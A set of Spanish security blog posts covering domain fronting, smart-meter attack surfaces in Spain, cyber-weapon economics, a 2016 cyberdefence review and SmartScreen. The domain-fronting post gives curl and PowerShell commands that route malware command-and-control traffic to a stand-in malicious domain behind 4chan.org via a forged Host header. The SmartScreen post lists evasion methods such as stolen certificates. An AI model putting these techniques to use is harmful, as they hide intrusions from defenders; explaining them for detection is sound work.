miércoles, 2 de agosto de 2017

Domain Fronting

El mundillo de la ciber-seguridad es bastante propenso a modas y actualmente los productos/servicios en boca de todos son los basados en Threat Intelligence.

Threat Intelligence se define como el conocimiento necesario para identificar y prevenir posibles amenazas de seguridad. Conocimiento que nos facilita la toma de las decisiones mas apropiadas en cada situación. Este conocimiento normalmente se obtiene agregando diferentes fuentes de información sobre incidentes de seguridad y mediante análisis experto de la actividad de los llamados "Threat Agents".

Al final este conocimiento se traduce en indicadores que podemos usar para detectar si nuestra red esta siendo atacada. Simplificando, lo que nos ofrecen la mayoría de proveedores o productos de Threat Intelligence, se puede resumir en:
- Listas de reputación de binarios
- Listas de reputación de dominios y/o direcciones IP

Seguimos teniendo un enfoque básico basado en "lista-negra"; detectamos lo que en el pasado ha sido dañino. Pero añadimos una capa de "lista-blanca"; cuando detectamos algo que no tenemos claramente identificado como dañino, pero que conocemos poco (poca reputación), podemos presuponer que también es malicioso.

Ambas herramientas nos ayudan a controlar si en nuestra red hay alguna actividad sospechosa, pero son fácilmente evitables por parte de atacantes avanzados.

Para evitar la detección basada en reputación de binarios tenemos múltiples técnicas. Algunas utilizadas a menudo por los creadores de malware. Por ejemplo las que comentaba en mi charla de la ultima Rootedcon, sobre como aprovechar las debilidades de la tecnología Authenticode de Microsoft.

Para evitar la detección basada en reputación de dominios o direcciones IP, la técnica que esta empezando a ponerse de moda entre los actores avanzados es la de Domain Fronting.

El Domain Fronting es una técnica que consiste en utilizar dominios legítimos y con buena reputación, como "tapadera" para camuflar las comunicaciones del malware o de las herramientas de control remoto con sus paneles de control (C&C).

Esta técnica se aprovecha de una característica de la tecnología CDN actual. Esta característica es común a la mayoría de proveedores de redes de distribución de contenidos: Akamai, Google, Chinanet, Cloudflare, Cloudfront, Azure, etc.

Estas redes tienen distribuidos sus nodos por todo el mundo. Y para que los distintos usuarios "conecten" a los sitios que están protegidos por la CDN, establecen una serie de nodos o frontales de entrada. Estos nodos son compartidos por todos los dominios hospedados en la CDN, de forma que si contratamos un dominio por ejemplo en Akamai. Los puntos de entrada a nuestro servicio, serán los mismos que los de otros clientes de Akamai, como pueden ser; Microsoft, Vmware, Adobe, etc.


Esto significa que si monitorizamos nuestra red para detectar a que sitios conectan los usuarios, no vamos a poder distinguir a priori si el trafico que va hacia Akamai, es para conectar a servicios de alta reputación (p.e. Microsoft) o es el que va dirigido a un panel de control que también utilice la infraestructura de Akamai.

Es mas, el malware puede camuflar también los nombres de dominio utilizados a nivel DNS, utilizando dominios con alta reputación a nivel de resolución, pero luego solamente dentro de la propia comunicación HTTP, utilizar el nombre real del servidor malicioso oculto tras la CDN.

Esta técnica es la utilizada por ejemplo en las ultimas versiones de Signal para evitar la censura de algunos países, camuflando sus nodos de entrada detrás de dominios de proveedores intermedios.

Vamos a ver un ejemplo de como crear una infraestructura de este tipo. Para ello vamos a utilizar la CDN de Cloudflare que nos permite registrar dominios de forma gratuita en su versión básica.

Primero vamos a crear una nueva cuenta y asociar nuestro dominio malicioso ella.


Dentro de este dominio, vamos configurar nuestro "endpoint" de control. Por ejemplo: /cloudflare.php

$ curl http://www.malicioso.com/cloudflare.php
CDN test file.

Ahora vamos a buscar un dominio con alta reputación, que este hospedado también en la CDN de Cloudflare. Por ejemplo "4chan.org". Y vamos a realizar una petición a este dominio, pero con una cabecera adicional.


$ curl http://www.4chan.org/cloudflare.php -H "Host: www.malicioso.com"
CDN test file.


De esta forma, tanto en servidores DNS, como en servidores Proxy, quedara solo registrada una conexión a "www.4chan.org" (que resuelve a una IP de la CDN de Cloudflare). Todo totalmente inofensivo. Y solo si analizamos el trafico a nivel de cabeceras HTTP podremos identificar el dominio malicioso. Si además usamos trafico SSL, la identificación del dominio malicioso se hará mucho mas difícil.

Si tenemos un pequeño malware en Powershell, también podemos hacer fácilmente que utilice "4chan.org" como Domain Fronting. Por ejemplo:


PS C:\> Invoke-WebRequest http://www.4chan.org/cloudflare.php -Headers @{"host"="www.malicioso.com"}
StatusCode        : 200
StatusDescription : OK
Content           : CDN test file.


De esta forma, el trafico hacia el panel de C&C quedara camuflado.

Esto no significa que tengamos que tirar a la basura nuestros sistemas basados en reputación IP o DNS, pero debemos tener en cuenta que estos sistemas no son infalibles y pueden ser fácilmente evitados. 




domingo, 21 de mayo de 2017

Mitos sobre los Contadores Eléctricos Inteligentes en España

Una de las infraestructuras críticas de la que nuestros ordenadores tienen mayor dependencia es el sistema eléctrico.

Cuando analizamos el riesgo de ciber-ataques contra el sistema eléctrico, podemos hacerlo partiendo de sus distintos componentes: generación, transmisión, distribución o comercialización.

Pero de estos componentes tal vez el más expuesto a ataques es el tramo final (el más cercano al usuario), ya que se encuentra distribuido por todo el país con multitud de puntos de acceso.

Este tramo final hoy en día lo componen principalmente los contadores eléctricos inteligentes o smart-meters y los concentradores de datos que emplean las compañías eléctricas para gestionarlos de forma remota.

La documentación pública disponible en España sobre la seguridad de estos dispositivos es escasa y existen múltiples mitos que complican aún más su análisis.

Si vivís en España probablemente tenéis ya en vuestra casa un contador eléctrico inteligente. Somos uno de los países europeos punteros en este tipo de tecnologías. Pero el grado de despliegue a nivel internacional aun es bajo.

Esto hace que sea difícil generalizar a la hora de hablar de seguridad a nivel de smart-meters de manera global. Y es que existe una gran variedad de tecnologías y configuraciones distintas. En cada país e incluso en cada compañía se ha optado por unos protocolos y estándares diferentes.

Incluso dentro de una misma compañía suelen encontrarse múltiples configuraciones, dependiendo del grado de despliegue. Hay que tener en cuenta que son tecnologías nuevas y los ciclos de vida son muy largos, de forma que suelen convivir distintas soluciones en un mismo proveedor según van evolucionando los sistemas (y su seguridad).

Las referencias típicas sobre la seguridad de este tipo de dispositivos suele venir de Estados Unidos. Pero si habéis leído algún artículo en inglés o visto alguna charla internacional sobre este tema, muchas de las conclusiones probablemente no sean aplicables de forma general en España.

Por lo tanto necesitamos referencias locales, ya que desde el punto de vista de la ciber-seguridad o incluso de la seguridad nacional, este tipo de dispositivos son muy relevantes.

Antes de entrar en detalles, vamos a ver la estructura típica de una red de smart-metering y sus componentes principales:

 
Un mito bastante extendido es que en España los smart-meters son accesibles mediante radio (p.e. usando Zigbee). Pero si consultamos las webs de los contadores homologados por las principales compañías eléctricas veremos que ninguno o prácticamente ninguno soportan esta posibilidad.
 
Los smart-meters en España pueden ser atacados principalmente por 3 vías:
- Acceso físico directo al hardware del contador.
- Acceso mediante el puerto óptico del contador.
- Acceso mediante la red de datos PLC.
 
En España la comunicación primaria con el contador es la realizada mediante PLC, pero tiene un alcance muy limitado (entre 100m y 200m, dependiendo de la zona) de forma que normalmente los dispositivos se configuran en forma de red mesh para conseguir comunicarse con el nodo de gestión (concentrador).
 
La comunicación PLC directa es posible desde una conexión o toma eléctrica que este en las cercanías de un contador.
 
La comunicación óptica es la secundaria y requiere conexión física directa entre la sonda y el contador (no vale estar cerca, hay que tener contacto directo).
 
Tabla resumen de la tecnología utilizada por las principales compañías españolas (puede que algunos datos estén desactualizados):
 
 
Los estándares utilizados en España son diferentes de los americanos y por lo tanto incompatibles con la mayoría de herramientas de hacking (Termineter, Optiguard) que puedan venir desde allí.
 
Principales diferencias a nivel de ciber-seguridad de los smart-meters desplegados en España respecto a los desplegados en Estados Unidos y otros países:
- No hay comunicación con los electrodomésticos vía radio (no Zigbee).
- No hay comunicación GSM (los concentrados en algún caso si la usan, pero no los propios contadores).
- La comunicación PLC se basa en estándares diferentes (Prime y Meters&More).
- La comunicación óptica también se basa en un estándar distinto (IEC62056-21).
- La gestión de claves y las medidas de seguridad son diferentes y específicas de cada compañía.
 
Este es el típico contador americano y no, no funcionaría en España:
 
 
Este es el típico contador que podemos encontrar en España:
 
 
La funcionalidad y la seguridad de cada una de las implementaciones actuales es variable y probablemente no satisfactoria para muchos. Aunque la tendencia es a mejorar, pero dependiendo de la zona y de la antigüedad de los dispositivos podemos encontrarnos niveles de seguridad distintos incluso dentro de una misma compañía.
 
La principal barrera para que un usuario malicioso aproveche estas vulnerabilidades es el relativamente alto coste (o tal vez no tanto) del hardware necesario para realizar ataques:
- Un concentrador PLC puede rondar los 1200€.
- Un modem PLC puede rondar los 500€.
- Una sonda óptica ronda los 100€ aunque podemos construirnos una por bastante menos.
- Un contador de segunda mano para “cacharrear” podemos encontrarlo a partir de 50€, pero necesitaremos un pequeño laboratorio de electrónica para analizarlo.
 
Esta última tal vez es la opción más asequible y por lo tanto la mayoría de ataques publicados van por ese camino.
 
Otra barrera es la falta de documentación específica de las distintas implementaciones, la documentación de los estándares suele ser de pago y no existen apenas publicaciones técnicas detalladas.
 
Pero tenemos que estar alerta ya que ambas “barreras de entrada” con el tiempo irán siendo menores; cada vez habrá más documentación disponible, herramientas de código libre, dispositivos de segunda mano a la venta, etc.
 
 
 


miércoles, 12 de abril de 2017

Ciber-armas: efectivas, asequibles y negables

En la ultima Rootedcon, una de las charlas mas interesantes fue la que dio Mikko Hypponen, director de investigación de Fsecure.

Una de las ideas que dejo caer, fue que estamos viviendo el inicio de una nueva carrera armamentística, centrada en el ciber-espacio. Recordemos que ya en el 2016 la doctrina de la OTAN reconoció este espacio como quinto dominio o dimensión militar.

Aquí tenéis un resumen de esa parte de su charla:


Para Mikko las ciber-armas tienen 3 caracteristicas muy ventajosas a la hora de invertir en ellas.
  • Son efectivas. Pueden provocar importantes daños; economicos o incluso físicos.
  • Son asequibles. Son baratas en comparacion con otro tipo de armas (p.e. un tanque).
  • Son negables. La atribucion o autoria de un ataque es dificil de demostrar. Y por lo tanto se dificultan los posibles contra-ataques.

Estoy de acuerdo con estas afirmaciones, pero no es todo tan facil como pueda parecer.

Una ciber-arma puede ser muy efectiva o dañina, pero su efectividad es efimera, muy poco duradera en el tiempo. Un malware o un exploit dependen en gran medida del efecto sorpresa, de no ser conocidos previamente por el objetivo. Si este los conoce de antemano es facil que pueda defenderse.

La ciber-arma mas famosa y que se pone a menudo como ejemplo, Stuxnet, probablemente hoy no seria efectiva a menos que sufriese unos cambios radicales. Para empezar seria detectada por las herramientas de seguridad (antivirus, ips) y los exploits 0-day que utilizaba ya no serian efectivos.

Esto nos lleva al segundo aspecto. Una ciber-arma puede ser barata, pero normalmente solo admite unos pocos usos. No podemos reutilizar de forma indefinida un exploit o un malware ya que acabaran por ser detectados. De forma que para cada operacion necesitaremos crear nuevas herramientas o modificar notablemente las anteriores.

No solo por cuestiones de efectividad sino tambien por negabilidad. Si utilizamos la misma herramienta en mas de una operacion, perdemos esta ventaja y la atribucion se simplifica.
Por esta razon las ciber-armas normalmente no son escalables. No podemos fabricarlas en cadena y por lo tanto de manera agregada no son tan economicas como pueda parecer.

Volviendo al ejemplo de Stuxnet, su coste estimado se situa alrededor de los 100 millones de dolares. Si quisiesemos realizar una campaña ofensiva contra una nacion rival, necesitariamos realizar multiples operaciones de este tipo de forma paralela. Supongamos que digidas a las 35 principales empresas o industrias de esa nacion. Esto nos daria un coste agregado de 3500 millones de dolares. Las cifras van subiendo.

Podrian ser incluso mayores, ya que los costes asociados al desarrollo, operacion y mantenimiento de este arsenal serian crecientes; habria que añadir: gastos politicos, de cordinacion, de infraestructura, de personal, etc.

Esto podria explicar por ejemplo porque el presupuesto para ciber-operaciones del Pentagono fue de 7000 millones en 2016.

viernes, 30 de diciembre de 2016

Resumen Ciber-defensa 2016

El protagonista absoluto del ámbito de la Ciberdefensa en 2016 fue sin duda Rusia, el numero de presuntas operaciones APT y la agresividad de las mismas marcaron las principales noticias del año. Por ello Rusia sera el eje principal de este resumen que como años anteriores ofrece un compendio de los principales sucesos del año que termina. Las repercusiones de las ciber-operaciones que se atribuyen a los servicios de inteligencia de este país superaron a cualquier otro caso de APTs que hubiéramos visto en años anteriores.


Durante la campaña electoral en EEUU, que resulto en la elección de Donald Trump, la seguridad informática juego un papel estrella. Como ya adelantamos el pasado año el escándalo que afectaba a Hillary Clinton por el uso de un servidor de correo privado en lugar del oficial cuando era Secretaria de Estado fue un tema recurrente. Si bien paso a segundo plano por otros casos también relacionados con correos electrónicos. Según parece los servicios rusos accedieron a los correos electrónicos del Comité Nacional del Partido Demócrata y a los de la cuenta de gmail de John Podesta, jefe de la campaña de Clinton. Estos correos fueron publicados por Wikileaks, con una clara intencionalidad de cuestionar a la candidata presidencial. Así mismo parece ser que Rusia hubiera podido acceder también a correos del partido republicano pero que prefirió no filtrarlos. Los analistas geopolíticos coinciden en que Rusia ha pretendido por medios ciber alterar el desarrollo de la campaña, ya fuera influyendo en los votantes o cuestionando la legitimad del propio proceso electoral.

La respuesta de EEUU llego al cierre del año, el día 29 de Diciembre, se hizo público un informe del FBI sobre la influencia rusa en la campaña electoral. Como consecuencia ese mismo día también se anuncio la expulsión de diplomáticos Rusos de EEUU  y las sanciones económicas sobre oficiales, empresarios y empresas civiles asociadas a las capacidades ciber de los servicios secretos rusos. Por su parte Rusia anuncio que contestaría adecuadamente a estas acciones.

Informe del FBI sobre la actividad rusa

Otro bombazo del año, fue la aparición de un hasta entonces desconocido grupo The Shadow Brokers, que filtro diverso material secreto de la NSA que incluía exploits del tipo zero day. Esta filtración era solo una pequeña muestra de una cantidad mayor de ciber-armas que este misterioso grupo estaría ofreciendo como parte de una subasta. En octubre un contratista civil de la NSA fue detenido por el manejo inadecuado de material secreto de la NSA , asociado a los programas filtrados por Shadow Brokers. Aunque hasta el momento no se sabe la relación exacta entre ambos casos.

Rusia también se mostró excepcionalmente ofensiva en el mundo ciber contra todos aquellos que han cuestionado públicamente las acciones de este país. Así por ejemplo se atribuye a hacker rusos la filtración de datos médicos de atletas de EEUU, supuestamente como respuesta a las acusaciones de doping de los rusos en Sochi 2014. Ataques al colectivo de periodismo de investigación ciudadano Belling Cat , que había hecho público previamente un informe sobre la participación de Rusia en el derribo del vuelo Malaysian Air MH17. Así como ataques también por esta misma causa al equipo de investigación aeronáutica oficial Holandes.

Dejando a un lado al principal protagonista se pudo comprobar el aumento de actividad a nivel gubernamental, de grupos insurgentes y de actores híbridos. El número de ataques del tipo APT siguió en aumento, con grupos que incrementaron su actividad significativamente o que fueron descubiertos este año, por citar algunos Trochilus, Transparent Tribe, Lazarous Group, Prince of Persia, Project Sauron/Strider, Droping elephant, Pacifier, Poseidon  o Moonlight.

En Marzo un informe de Verizon daba a conocer un curioso caso en el que un grupo de piratas somalies habría contratado los servicios de hackers para tomar el control de sistemas web de una empresa naviera, se supone que para obtener información para posteriores secuestros marítimos.

La tendencia de los bug bounties, programas de recompensas por localizar vulnerabilidades de seguridad, paso a ser adoptada por el Pentágono que ofreció un programa de este tipo.

En  2016 se publicaron algunos libros que analizan las repercusiones pasadas y actuales de la ciberguerra: Dark Territory: The Secret History of Cyber War de Fred Kaplan ,  Ciberguerra de Yolanda Quintana , o Los hombres que susurraban a las maquinas de Antonio Salas.



En una tendencia que pudimos constatar en años anteriores, los conflictos bélicos y zonas de tensión geopolítica mas importantes suelen ir acompañados de una vertiente Ciber. Por citar algunos:


  • Siria: Continuo la tendencia del uso masivo de Internet como lugar de reclutamiento y para la distribución de propaganda por parte de los diversos grupos rebeldes participantes en la guerra civil. Aunque una vez mas el Estado Islámico demostró ser el mas versado en este campo. El 2016 lanzo una publicación en formato revista dedicada exclusivamente a su vertiente ciber, la Kybernetiq. Por su parte supimos que el Cibercomando de EEUU habría respondido también a la amenaza del Estado Islámico con ataques contra internet y otras redes de telecomunicaciones en Iraq y Siria (Cyber Command Attacking ISIS Computer Systems and Telephone Networks in Iraq and Syria).
  • Ucrania: Se registraron múltiples apagones atribuidos a ataques informáticos Rusos tan pronto como enero y tan tarde como el mismo diciembre. Un ejemplo fue la llamada Operation GroundBait. Algunos de los ataques rusos habrían provocado apagones como consecuencia de ataques a sistemas SCADA en las redes de distribución eléctrica. Por su parte hackers Ucranianos contestaron accediendo y publicando a información privada de uno de los principales consejeros del presidente Ruso.
  • India-Paquistán , se hicieron públicos datos de las operaciones Transparent Tribe y C-Major.


Sin duda todo lo acontecido en 2016 tendrá repercusiones duraderas en el próximo año. De continuar la tendencia actual veremos cada vez ataques gubernamentales mas audaces que tendrán consecuencias fuera del mundo ciber mas significativas.

domingo, 18 de diciembre de 2016

SmartScreen

SmartScreen es un mecanismo de seguridad de Microsoft que alerta a los usuarios cuando conectan a un sitio malicioso o cuando intentan ejecutar un fichero descargado que puede ser peligroso.

Está diseñado para ayudar a proteger a los usuarios contra los ataques de phishing, ingeniería social y de descarga drive-by, que intentan infectar un sistema.



SmartScreen está configurado por defecto en Internet Explorer a partir de su versión 9 (aunque en versiones anteriores existían ya algunas protecciones similares) y en Windows a partir de su versión 8.

Se basa en un sistema de reputación proporcionado por Microsoft. Cuando un usuario descarga un ejecutable que puede ser dañino, se calcula un resumen (hash) del mismo y se valida de forma online contra los servidores de Microsoft, cuando el usuario intenta ejecutarlo.

La reputación de un ejecutable se determina a partir de su hash y si va firmado mediante Authenticode a partir de la reputación del editor.

Un binario firmado por un editor de confianza no hará saltar la alerta de SmartScreen, aunque su hash sea desconocido.

Ejemplo de fichero EXE firmado:



La validación de la reputación se realiza solamente la primera vez que se ejecuta el programa descargado y queda almacenada en el sistema.

Para la validación se contacta con los servidores de Microsoft para obtener la calificación del programa ejecutado.

Ejemplo de petición efectuada para validar la reputación de un EXE:



Y respuesta positiva (allowed):



Si los servidores de SmartScreen no están disponibles, no es posible validar la reputación y se muestra un mensaje de alerta diferente:



De forma que hacer DoS a los servidores de Microsoft no es una opción completa para evadir la seguridad de SmartScreen. Aunque es un mensaje mucho menos alarmista que el primero.

Gracias a SmartScreen el número de infecciones por ataques de descarga drive-by se ha reducido considerablemente, aunque existen diversas técnicas para burlar su protección.

Algunas técnicas utilizadas para burlar la protección de SmartScreen son:
• Consiguiendo que el ejecutable gane reputación: Normalmente haciendo que tenga muchas descargas y que no haya reportes sobre comportamiento malicioso.
• Comprando un certificado Authenticode para firmar ejecutables y ganando reputación como editor. Ya que por sí sola la firma Authenticode no garantiza la conformidad de SmartScreen.
• Robando un certificado de un editor con buena reputación.
• Modificando un binario confiable ya firmado sin invalidar su firma.
• Colisión de hashes con un ejecutable con buena reputación.

Si no conseguimos la conformidad de SmartScreen siempre nos queda la opción  de aplicar ingeniería social y convencer al usuario para que ignore las alertas de seguridad y ejecute nuestro programa igualmente, pero lógicamente esta técnica es la más propensa a fallar.

SmartScreen es solo una primera barrera de protección y una tímida aproximación a las protecciones basadas en listas blancas (ya que alerta de aquellos ejecutables cuya reputación es desconocida).

Aun así, en entornos de alta seguridad es necesario acudir a herramientas de validación de reputación o basadas en listas blancas más restrictivas y que no permitan al usuario el ignorar las alertas de seguridad.